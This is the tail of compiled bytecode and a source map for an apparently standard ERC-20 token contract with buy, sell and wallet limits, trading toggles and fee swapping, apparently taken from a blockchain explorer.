6f7420736574206d61782062757920616d6f756e74206c6f7765722060008201527f7468616e20312500000000000000000000000000000000000000000000000000602082015250565b6000613c9f602783612f6a565b9150613caa82613c43565b604082019050919050565b60006020820190508181036000830152613cce81613c92565b9050919050565b7f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f77657260008201527f207468616e203125000000000000000000000000000000000000000000000000602082015250565b6000613d31602883612f6a565b9150613d3c82613cd5565b604082019050919050565b60006020820190508181036000830152613d6081613d24565b9050919050565b7f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f7760008201527f6572207468616e20312500000000000000000000000000000000000000000000602082015250565b6000613dc3602a83612f6a565b9150613dce82613d67565b604082019050919050565b60006020820190508181036000830152613df281613db6565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613e55602683612f6a565b9150613e6082613df9565b604082019050919050565b60006020820190508181036000830152613e8481613e48565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613ee7602483612f6a565b9150613ef282613e8b565b604082019050919050565b60006020820190508181036000830152613f1681613eda565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613f79602283612f6a565b9150613f8482613f1d565b604082019050919050565b60006020820190508181036000830152613fa881613f6c565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061400b602983612f6a565b915061401682613faf565b604082019050919050565b6000602082019050818103600083015261403a81613ffe565b9050919050565b7f54726164696e67206e6f7420656e61626c656400000000000000000000000000600082015250565b6000614077601383612f6a565b915061408282614041565b602082019050919050565b600060208201905081810360008301526140a68161406a565b9050919050565b7f596f752061726520657863656564696e67206d61784275794c696d6974000000600082015250565b60006140e3601d83612f6a565b91506140ee826140ad565b602082019050919050565b60006020820190508181036000830152614112816140d6565b9050919050565b7f596f752061726520657863656564696e67206d617857616c6c65744c696d6974600082015250565b600061414f602083612f6a565b915061415a82614119565b602082019050919050565b6000602082019050818103600083015261417e81614142565b9050919050565b7f596f752061726520657863656564696e67206d617853656c6c4c696d69740000600082015250565b60006141bb601e83612f6a565b91506141c682614185565b602082019050919050565b600060208201905081810360008301526141ea816141ae565b9050919050565b7f436f6f6c646f776e20656e61626c656400000000000000000000000000000000600082015250565b6000614227601083612f6a565b9150614232826141f1565b602082019050919050565b600060208201905081810360008301526142568161421a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061429782613083565b91506142a283613083565b9250826142b2576142b161425d565b5b828204905092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614319602583612f6a565b9150614324826142bd565b604082019050919050565b600060208201905081810360008301526143488161430c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006143ab602383612f6a565b91506143b68261434f565b604082019050919050565b600060208201905081810360008301526143da8161439e565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061443d602683612f6a565b9150614448826143e1565b604082019050919050565b6000602082019050818103600083015261446c81614430565b9050919050565b60008151905061448281613057565b92915050565b60006020828403121561449e5761449d61301b565b5b60006144ac84828501614473565b91505092915050565b6000819050919050565b60006144da6144d56144d0846144b5565b61357c565b613083565b9050919050565b6144ea816144bf565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61452581613045565b82525050565b6000614537838361451c565b60208301905092915050565b6000602082019050919050565b600061455b826144f0565b61456581856144fb565b93506145708361450c565b8060005b838110156145a1578151614588888261452b565b975061459383614543565b925050600181019050614574565b5085935050505092915050565b600060a0820190506145c3600083018861332c565b6145d060208301876144e1565b81810360408301526145e28186614550565b90506145f1606083018561344d565b6145fe608083018461332c565b9695505050505050565b600060c08201905061461d600083018961344d565b61462a602083018861332c565b61463760408301876144e1565b61464460608301866144e1565b614651608083018561344d565b61465e60a083018461332c565b979650505050505050565b6000815190506146788161308d565b92915050565b6000806000606084860312156146975761469661301b565b5b60006146a586828701614669565b93505060206146b686828701614669565b92505060406146c786828701614669565b9150509250925092565b7f416464726573733a20696e73756666696369656e742062616c616e6365000000600082015250565b6000614707601d83612f6a565b9150614712826146d1565b602082019050919050565b60006020820190508181036000830152614736816146fa565b9050919050565b600081905092915050565b50565b600061475860008361473d565b915061476382614748565b600082019050919050565b60006147798261474b565b9150819050919050565b7f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260008201527f6563697069656e74206d61792068617665207265766572746564000000000000602082015250565b60006147df603a83612f6a565b91506147ea82614783565b604082019050919050565b6000602082019050818103600083015261480e816147d2565b905091905056fea26469706673582212205f18939539d28909653846dbdcee379d513c5adc6dffe4cafef53c1d8c616a0664736f6c63430008130033
Deployed Bytecode Sourcemap
7415:10805:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1811:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9566:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16958:202;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16331:109;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6072:112;;;;;;;;;;;;;:::i;:::-;;7671:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2126:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17772:165;;;;;;;;;;;;;:::i;:::-;;9733:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7898:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17670:94;;;:::i;:::-;;2027:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16830:120;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10185:248;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7631:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8205:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8036;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8123:75;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7788:47;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7842:49;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7735:46;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2240:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8514:38;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;:::i;:::-;;;;;;;;8291:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17943:238;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5853:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1917:104;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10439:410;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16702:120;;;:::i;:::-;;7522:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10855:165;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8608:41;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8749:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2595:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17168:494;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8708:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6190:192;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8559:42;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;:::i;:::-;;;;;;;;7494:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7587:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1811:100;1865:13;1898:5;1891:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1811:100;:::o;9566:161::-;9641:4;9658:39;9667:12;:10;:12::i;:::-;9681:7;9690:6;9658:8;:39::i;:::-;9715:4;9708:11;;9566:161;;;;:::o;16958:202::-;5997:12;:10;:12::i;:::-;5986:23;;:7;:5;:7::i;:::-;:23;;;5978:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17055:9:::1;17050:103;17074:8;:15;17070:1;:19;17050:103;;;17136:5;17111:9;:22;17121:8;17130:1;17121:11;;;;;;;;:::i;:::-;;;;;;;;17111:22;;;;;;;;;;;;;;;;:30;;;;;;;;;;;;;;;;;;17091:3;;;;;:::i;:::-;;;;17050:103;;;;16958:202:::0;;:::o;16331:109::-;5997:12;:10;:12::i;:::-;5986:23;;:7;:5;:7::i;:::-;:23;;;5978:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16427:5:::1;16406:18;;:26;;;;;;;;;;;;;;;;;;16331:109:::0;:::o;6072:112::-;5997:12;:10;:12::i;:::-;5986:23;;:7;:5;:7::i;:::-;:23;;;5978:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6155:21:::1;6173:1;6155:9;:21::i;:::-;6072:112::o:0;7671:57::-;;;;:::o;2126:108::-;2187:7;2214:12;;2207:19;;2126:108;:::o;17772:165::-;5997:12;:10;:12::i;:::-;5986:23;;:7;:5;:7::i;:::-;:23;;;5978:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17823:26:::1;17852:21;17823:50;;17892:7;:5;:7::i;:::-;17884:25;;:45;17910:18;17884:45;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;17812:125;17772:165::o:0;9733:446::-;9865:4;9882:36;9892:6;9900:9;9911:6;9882:9;:36::i;:::-;9929:24;9956:11;:19;9968:6;9956:19;;;;;;;;;;;;;;;:33;9976:12;:10;:12::i;:::-;9956:33;;;;;;;;;;;;;;;;9929:60;;10028:6;10008:16;:26;;10000:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;10090:57;10099:6;10107:12;:10;:12::i;:::-;10140:6;10121:16;:25;;;;:::i;:::-;10090:8;:57::i;:::-;10167:4;10160:11;;;9733:446;;;;;:::o;7898:28::-;;;;:::o;17670:94::-;17755:1;17745:7;;:11;;;;;;;;;;;;;;;;;;;;17670:94::o;2027:93::-;2085:5;2110:2;2103:9;;2027:93;:::o;16830:120::-;5997:12;:10;:12::i;:::-;5986:23;;:7;:5;:7::i;:::-;:23;;;5978:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16937:5:::1;16915:9;:19;16925:8;16915:19;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;16830:120:::0;;:::o;10185:248::-;10301:4;10323:80;10332:12;:10;:12::i;:::-;10346:7;10392:10;10355:11;:25;10367:12;:10;:12::i;:::-;10355:25;;;;;;;;;;;;;;;:34;10381:7;10355:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;10323:8;:80::i;:::-;10421:4;10414:11;;10185:248;;;;:::o;16446:::-;5997:12;:10;:12::i;:::-;5986:23;;:7;:5;:7::i;:::-;:23;;;5978:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16552:3:::1;16538:10;:17;;16530:92;;;;;;;;;;;;:::i;:::-;;;;;;;;;16676:10;:8;:10::i;:::-;16672:2;:14;;;;:::i;:::-;16659:10;:27;;;;:::i;:::-;16633:23;:53;;;;16446:248:::0;:::o;7631:33::-;;;;;;;;;;;;;:::o;8205:79::-;;;;;;;;;;;;;:::o;8036:::-;;;;;;;;;;;;;:::o;8123:75::-;;;;;;;;;;;;;:::o;7788:47::-;;;;:::o;7842:49::-;;;;:::o;7735:46::-;;;;:::o;2240:127::-;2314:7;2341:9;:18;2351:7;2341:18;;;;;;;;;;;;;;;;2334:25;;2240:127;;;:::o;8514:38::-;;;;;;;;;;;;;;;;;;;;;;;;:::o;8291:79::-;8328:42;8291:79;:::o;17943:238::-;5997:12;:10;:12::i;:::-;5986:23;;:7;:5;:7::i;:::-;:23;;;5978:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;18056:4:::1;18036:25;;:8;:25;;::::0;18028:92:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;18138:8;18131:25;;;18157:7;:5;:7::i;:::-;18166:6;18131:42;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;17943:238:::0;;:::o;5853:87::-;5899:7;5926:6;;;;;;;;;;;5919:13;;5853:87;:::o;1917:104::-;1973:13;2006:7;1999:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1917:104;:::o;10439:410::-;10560:4;10582:24;10609:11;:25;10621:12;:10;:12::i;:::-;10609:25;;;;;;;;;;;;;;;:34;10635:7;10609:34;;;;;;;;;;;;;;;;10582:61;;10682:15;10662:16;:35;;10654:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;10750:67;10759:12;:10;:12::i;:::-;10773:7;10801:15;10782:16;:34;;;;:::i;:::-;10750:8;:67::i;:::-;10837:4;10830:11;;;10439:410;;;;:::o;16702:120::-;16776:38;16785:15;;;;;;;;;;;16802:11;16776:8;:38::i;:::-;16702:120::o;7522:19::-;;;;;;;;;;;;;:::o;10855:165::-;10933:4;10950:40;10960:10;10972:9;10983:6;10950:9;:40::i;:::-;11008:4;11001:11;;10855:165;;;;:::o;8608:41::-;;;;;;;;;;;;;;;;;;;;;;:::o;8749:39::-;;;;:::o;2595:201::-;2729:7;2761:11;:18;2773:5;2761:18;;;;;;;;;;;;;;;:27;2780:7;2761:27;;;;;;;;;;;;;;;;2754:34;;2595:201;;;;:::o;17168:494::-;5997:12;:10;:12::i;:::-;5986:23;;:7;:5;:7::i;:::-;:23;;;5978:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17294:3:::1;17284:6;:13;;17276:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;17371:3;17360:7;:14;;17352:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;17451:3;17438:9;:16;;17430:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;17539:10;:8;:10::i;:::-;17535:2;:14;;;;:::i;:::-;17526:6;:23;;;;:::i;:::-;17512:11;:37;;;;17589:10;:8;:10::i;:::-;17585:2;:14;;;;:::i;:::-;17575:7;:24;;;;:::i;:::-;17560:12;:39;;;;17643:10;:8;:10::i;:::-;17639:2;:14;;;;:::i;:::-;17627:9;:26;;;;:::i;:::-;17610:14;:43;;;;17168:494:::0;;;:::o;8708:34::-;;;;;;;;;;;;;:::o;6190:192::-;5997:12;:10;:12::i;:::-;5986:23;;:7;:5;:7::i;:::-;:23;;;5978:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6299:1:::1;6279:22;;:8;:22;;::::0;6271:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;6355:19;6365:8;6355:9;:19::i;:::-;6190:192:::0;:::o;8559:42::-;;;;;;;;;;;;;;;;;;;;;;;;:::o;7494:21::-;;;;;;;;;;;;;:::o;7587:37::-;;;;;;;;;;;;;:::o;257:98::-;310:7;337:10;330:17;;257:98;:::o;4896:380::-;5049:1;5032:19;;:5;:19;;;5024:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5130:1;5111:21;;:7;:21;;;5103:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5214:6;5184:11;:18;5196:5;5184:18;;;;;;;;;;;;;;;:27;5203:7;5184:27;;;;;;;;;;;;;;;:36;;;;5252:7;5236:32;;5245:5;5236:32;;;5261:6;5236:32;;;;;;:::i;:::-;;;;;;;;4896:380;;;:::o;6388:173::-;6444:16;6463:6;;;;;;;;;;;6444:25;;6489:8;6480:6;;:17;;;;;;;;;;;;;;;;;;6544:8;6513:40;;6534:8;6513:40;;;;;;;;;;;;6433:128;6388:173;:::o;11026:2806::-;11176:1;11167:6;:10;11159:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;11239:9;:17;11249:6;11239:17;;;;;;;;;;;;;;;;;;;;;;;;;11238:18;:43;;;;;11261:9;:20;11271:9;11261:20;;;;;;;;;;;;;;;;;;;;;;;;;11260:21;11238:43;11234:122;;;11306:14;;;;;;;;;;;11298:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;11234:122;11380:4;;;;;;;;;;;11370:14;;:6;:14;;;:39;;;;;11389:9;:20;11399:9;11389:20;;;;;;;;;;;;;;;;;;;;;;;;;11388:21;11370:39;:54;;;;;11414:10;;;;;;;;;;;11413:11;11370:54;11366:306;;;11459:11;;11449:6;:21;;11441:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;11578:14;;11568:6;11545:20;11555:9;11545;:20::i;:::-;:29;;;;:::i;:::-;:47;;11519:141;;;;;;;;;;;;:::i;:::-;;;;;;;;;11366:306;11710:4;;;;;;;;;;;11700:14;;:6;:14;;;;:39;;;;;11719:9;:20;11729:9;11719:20;;;;;;;;;;;;;;;;;;;;;;;;;11718:21;11700:39;:61;;;;;11744:9;:17;11754:6;11744:17;;;;;;;;;;;;;;;;;;;;;;;;;11743:18;11700:61;:76;;;;;11766:10;;;;;;;;;;;11765:11;11700:76;11682:677;;;11821:12;;11811:6;:22;;11803:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;11900:4;;;;;;;;;;;11887:17;;:9;:17;;;11883:211;;11988:14;;11978:6;11955:20;11965:9;11955;:20::i;:::-;:29;;;;:::i;:::-;:47;;11925:153;;;;;;;;;;;;:::i;:::-;;;;;;;;;11883:211;12112:15;;;;;;;;;;;12108:240;;;12148:18;12187:9;:17;12197:6;12187:17;;;;;;;;;;;;;;;;12169:15;:35;;;;:::i;:::-;12148:56;;12245:12;;12231:10;:26;;12223:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;12317:15;12297:9;:17;12307:6;12297:17;;;;;;;;;;;;;;;:35;;;;12129:219;12108:240;11682:677;12369:15;12395:14;12420:11;12442:25;;:::i;:::-;12478:17;12499:9;:17;12509:6;12499:17;;;;;;;;;;;;;;;;;;;;;;;;;12498:18;:56;;;;;12534:9;:20;12544:9;12534:20;;;;;;;;;;;;;;;;;;;;;;;;;12533:21;12498:56;:112;;;;;12602:8;;12586:13;;:24;;;;:::i;:::-;12571:12;:39;12498:112;12478:132;;12625:10;;;;;;;;;;;:31;;;;12639:9;:17;12649:6;12639:17;;;;;;;;;;;;;;;;;;;;;;;;;12625:31;:55;;;;12660:9;:20;12670:9;12660:20;;;;;;;;;;;;;;;;;;;;;;;;;12625:55;12621:804;;;12701:1;12695:7;;12621:804;;;12737:4;;;;;;;;;;;12724:17;;:9;:17;;;:34;;;;;12746:12;12745:13;12724:34;12720:705;;;12794:1;12783:7;;;;;;;;;;;:12;;;12775:21;;;;;;12967:9;:13;;;12916:9;:19;;;12877:9;:19;;;12838:9;:19;;;:58;;;;:::i;:::-;:97;;;;:::i;:::-;:142;;;;:::i;:::-;12811:169;;13004:7;12995:16;;13041:9;13026:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12720:705;;;13073:12;13068:357;;13234:5;:9;;;13199:5;:15;;;13164:5;:15;;;13129:5;:15;;;:50;;;;:::i;:::-;:85;;;;:::i;:::-;:114;;;;:::i;:::-;13102:141;;13268:7;13259:16;;13305:5;13290:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13068:357;;;13332:12;13328:97;;;13371:9;;13361:19;;13404:9;;13395:18;;13328:97;13068:357;12720:705;12621:804;13461:3;13451:6;13442;:15;;;;:::i;:::-;13441:23;;;;:::i;:::-;13435:29;;13479:18;;;;;;;;;;;:36;;;;;13511:4;;;;;;;;;;;13501:14;;:6;:14;;;;13479:36;13475:72;;;13517:30;13525:7;13534:12;13517:7;:30::i;:::-;13475:72;13559:48;13575:6;13583:9;13603:3;13594:6;:12;;;;:::i;:::-;13559:15;:48::i;:::-;13628:1;13622:3;:7;13618:207;;;13662:1;13652:7;:11;13648:164;;;13684:17;13725:3;13714:7;13705:6;:16;;;;:::i;:::-;13704:24;;;;:::i;:::-;13684:44;;13747:49;13763:6;13779:4;13786:9;13747:15;:49::i;:::-;13665:147;13648:164;13618:207;11148:2684;;;;;11026:2806;;;:::o;4691:199::-;4785:6;4770:12;:21;;;;4823:6;4802:9;:18;4812:7;4802:18;;;;;;;;;;;;;;;:27;;;;4866:7;4845:37;;4862:1;4845:37;;;4875:6;4845:37;;;;;;:::i;:::-;;;;;;;;4691:199;;:::o;13838:1684::-;8834:10;;;;;;;;;;;8829:110;;8874:4;8861:10;;:17;;;;;;;;;;;;;;;;;;13941:1:::1;13930:7;:12:::0;13927:49;13958:7:::1;13927:49;13986:23;14012:24;14030:4;14012:9;:24::i;:::-;13986:50;;14070:23;;14051:15;:42;14047:1468;;14140:1;14114:23;;:27;14110:109;;;14180:23;;14162:41;;14110:109;14230:19;14262:1;14252:7;:11;;;;:::i;:::-;14230:33;;14278:32;14372:11;14332:9;:19;;;14314:15;:37;;;;:::i;:::-;14313:70;;;;:::i;:::-;14278:105;;14398:14;14433:24;14415:15;:42;;;;:::i;:::-;14398:59;;14472:22;14497:21;14472:46;;14533:24;14550:6;14533:16;:24::i;:::-;14572:20;14619:14;14595:21;:38;;;;:::i;:::-;14572:61;;14648:19;14700:9;:19;;;14686:11;:33;;;;:::i;:::-;14670:12;:50;;;;:::i;:::-;14648:72;;14735:29;14781:9;:19;;;14767:11;:33;;;;:::i;:::-;14735:65;;14843:1;14819:21;:25;14815:121;;;14859:61;14872:24;14898:21;14859:12;:61::i;:::-;14815:121;14950:20;14991:9;:19;;;14987:1;14973:11;:15;;;;:::i;:::-;:37;;;;:::i;:::-;14950:60;;15044:1;15029:12;:16;15025:109;;;15066:52;15105:12;15074:19;;;;;;;;;;;15066:38;;;;:52;;;;:::i;:::-;15025:109;15148:20;15189:9;:19;;;15185:1;15171:11;:15;;;;:::i;:::-;:37;;;;:::i;:::-;15148:60;;15242:1;15227:12;:16;15223:109;;;15264:52;15303:12;15272:19;;;;;;;;;;;15264:38;;;;:52;;;;:::i;:::-;15223:109;15346:14;15381:9;:13;;;15377:1;15363:11;:15;;;;:::i;:::-;:31;;;;:::i;:::-;15346:48;;15422:1;15413:6;:10;15409:93;;;15444:42;15479:6;15452:15;;;;;;;;;;;15444:34;;;;:42;;;;:::i;:::-;15409:93;14095:1420;;;;;;;;;;14047:1468;13916:1606;8893:1;8922:5:::0;8909:10;;:18;;;;;;;;;;;;;;;;;;8829:110;13838:1684;;:::o;4107:578::-;4265:1;4247:20;;:6;:20;;;4239:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;4349:1;4328:23;;:9;:23;;;4320:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;4404:21;4428:9;:17;4438:6;4428:17;;;;;;;;;;;;;;;;4404:41;;4481:6;4464:13;:23;;4456:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;4577:6;4561:13;:22;;;;:::i;:::-;4541:9;:17;4551:6;4541:17;;;;;;;;;;;;;;;:42;;;;4618:6;4594:9;:20;4604:9;4594:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;4659:9;4642:35;;4651:6;4642:35;;;4670:6;4642:35;;;;;;:::i;:::-;;;;;;;;4228:457;4107:578;;;:::o;15528:444::-;15594:21;15632:1;15618:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15594:40;;15663:4;15645;15650:1;15645:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;15689:6;;;;;;;;;;;:11;;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15679:4;15684:1;15679:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;15713:53;15730:4;15745:6;;;;;;;;;;;15754:11;15713:8;:53::i;:::-;15777:6;;;;;;;;;;;:57;;;15849:11;15875:1;15891:4;15918;15938:15;15777:187;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15583:389;15528:444;:::o;15980:345::-;16059:53;16076:4;16091:6;;;;;;;;;;;16100:11;16059:8;:53::i;:::-;16123:6;;;;;;;;;;;:22;;;16154:9;16188:4;16208:11;16234:1;16250;8328:42;16291:15;16123:194;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;15980:345;;:::o;5304:319::-;5419:6;5394:21;:31;;5386:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;5473:12;5491:9;:14;;5514:6;5491:35;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5472:54;;;5545:7;5537:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;5375:248;5304:319;;:::o;-1:-1:-1:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1349:75::-;1382:6;1415:2;1409:9;1399:19;;1349:75;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446: